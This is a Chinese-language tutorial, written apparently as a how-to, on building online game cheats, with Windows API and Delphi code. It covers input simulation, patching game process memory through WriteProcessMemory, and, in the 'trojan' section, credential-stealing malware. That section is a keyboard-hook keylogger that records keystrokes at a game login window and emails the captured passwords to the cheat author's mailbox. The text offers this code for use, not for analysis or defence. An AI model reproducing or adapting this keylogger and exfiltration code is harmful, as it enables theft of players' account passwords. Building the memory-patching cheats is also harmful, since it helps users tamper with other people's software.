游戏外挂的几种实现类型与方式

实现类型简介

  1. 动作式,所谓动作式,就是指用API发命令给窗口或API控制鼠标、键盘等,使游戏里的人物进行流动或者攻击,最早以前的“石器”外挂就是这种方式。
  2. 本地修改式,这种外挂跟传统上的一些游戏修改器没有两样,做这种外挂在编程只需要对内存地址有一点认识并且掌握API就可以实现,“精灵”的外挂这是这种方式写成的,它的难点在于找到那些地址码,找地址一般地要借助于别人的工具,有的游戏还有双码校验,正正找起来会比较困难。
  3. 木马式,这种外挂的目的是帮外挂制作者偷到用户的密码,做这种外挂有一定的难度,需要HOOK或键盘监视技术做底子,才可以完成,它的原理是先首截了用户的帐号或密码,然后发到指定邮箱。
  4. 加速式,这种外挂可以加快游戏的速度。原本我一直以为加速外挂是针对某个游戏而写的,后来发现我这种概念是不对的,所谓加速外挂其实是修改时钟频率达到加速的目的。
  5. 封包式,这种外挂是高难度外挂,需要有很强的编程功力才可以写得出来。它的原理是先截取封包,后修改,再转发。这种外挂适用于大多数网络游戏,像WPE及一些网络游戏外挂都是用这种方式写成的,编写这种外挂需要apihook技术,winsock2技术…………

实现方式

1、动作式

  1. 获取鼠标现在的位置(GetCursorPos());
  2. 把鼠标移动到期望人物走到的位置(SetCursorPos());
  3. 模拟鼠标按下和松开(mouse_event());

整体实现:
getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);
注:其它如自动攻击等功能的做法可以参照以上做法,模拟键盘按键(keybd_event()),以下实例为模拟按下CTRL+A快捷键。
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

2、本地修改式

  1. 获取游戏窗口的句柄(FindWindow());
  2. 根据游戏窗口句柄获取游戏的进程ID(GetWindowThreadProcessId());
  3. 以最高权限打开进程(OpenProcess());
  4. 打开进程后,用函数对内存进行操作(WriteProcessMemory()、ReadProcessMemory());
  5. 关闭进程(CloseHandle());

整体实现:
const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow(‘XX’, nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
beginWriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;
这个游戏是用了多地址对所要提交的数据进行了校验,所以说这类游戏外挂制作并不是很难,最难的是要找到这些地址。

3、木马式

思路:
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现,就记录键盘。
4、当窗口关闭时,把记录信息,通过邮件发送到程序设计者的邮箱。

实现:
1、判断登录窗口出现(FindWindow());
2、设置监视日志(SetWindowsHookEx());

记录键盘:

hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点:
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult(自定义的函数,主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的)转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := ‘’;
end;
end;
end;

发送记录的按键信息:
assignfile(ReadFile,‘hook.txt’); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=’’; //设置附件
nmsmtp1.PostMessage.FromAddress:=‘XXX@XXX.com’; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:=‘XXX@XXX.com’; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:=‘密码’+’ '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:=‘password’; //设置邮件标题
nmsmtp1.SendMail; //发送邮件

加速式与封包式后续解读

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